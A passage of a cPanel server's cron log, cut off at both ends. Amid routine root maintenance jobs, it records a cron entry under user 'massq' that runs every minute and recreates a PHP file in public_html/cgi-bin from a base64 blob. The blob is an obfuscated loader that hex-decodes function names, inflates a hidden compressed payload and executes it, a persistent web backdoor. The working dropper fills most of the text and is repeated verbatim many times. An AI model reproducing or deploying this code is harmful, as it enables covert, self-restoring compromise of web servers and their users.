QVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:46:01 server CROND[11115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:46:01 server CROND[11116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:46:01 server CROND[11117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:47:01 server CROND[11604]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep  6 02:47:01 server CROND[11603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:47:01 server CROND[11605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:47:01 server CROND[11606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:47:01 server CROND[11607]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep  6 02:47:45 server crontab[12033]: (root) LIST (root)
Sep  6 02:47:45 server crontab[12035]: (root) LIST (root)
Sep  6 02:47:50 server crontab[12157]: (root) LIST (root)
Sep  6 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  6 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  6 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  6 02:48:01 server CROND[12321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:48:01 server CROND[12322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:48:01 server CROND[12320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:49:01 server CROND[13346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:49:01 server CROND[13345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:49:01 server CROND[13347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:50:01 server CROND[13742]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:50:01 server CROND[13746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:50:01 server CROND[13750]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:50:01 server CROND[13751]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 02:50:01 server CROND[13752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:50:01 server CROND[13754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:50:01 server CROND[13755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:50:01 server CROND[13753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:50:01 server CROND[13756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:51:01 server CROND[14678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:51:01 server CROND[14680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:51:01 server CROND[14679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:52:01 server CROND[15158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:52:01 server CROND[15159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:52:01 server CROND[15160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:53:01 server CROND[15553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:53:01 server CROND[15552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:53:01 server CROND[15554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:54:01 server CROND[15980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:54:01 server CROND[15981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:54:01 server CROND[15982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:55:01 server CROND[16392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:55:01 server CROND[16393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:55:01 server CROND[16400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:55:01 server CROND[16401]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:55:01 server CROND[16403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:55:01 server CROND[16406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:55:01 server CROND[16407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:56:01 server CROND[17223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:56:01 server CROND[17224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:56:01 server CROND[17222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:57:01 server CROND[17708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:57:01 server CROND[17709]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 02:57:01 server CROND[17710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAo